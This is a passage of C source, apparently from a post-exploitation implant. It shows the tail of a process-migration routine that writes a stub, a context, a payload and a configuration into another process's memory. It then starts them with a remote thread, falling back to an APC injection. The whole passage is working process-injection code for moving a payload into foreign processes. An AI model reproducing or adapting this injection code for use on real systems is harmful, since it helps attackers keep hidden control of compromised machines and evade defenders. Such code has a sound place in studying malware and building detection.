lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") } // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") } } dwResult = ERROR_SUCCESS; } while (0);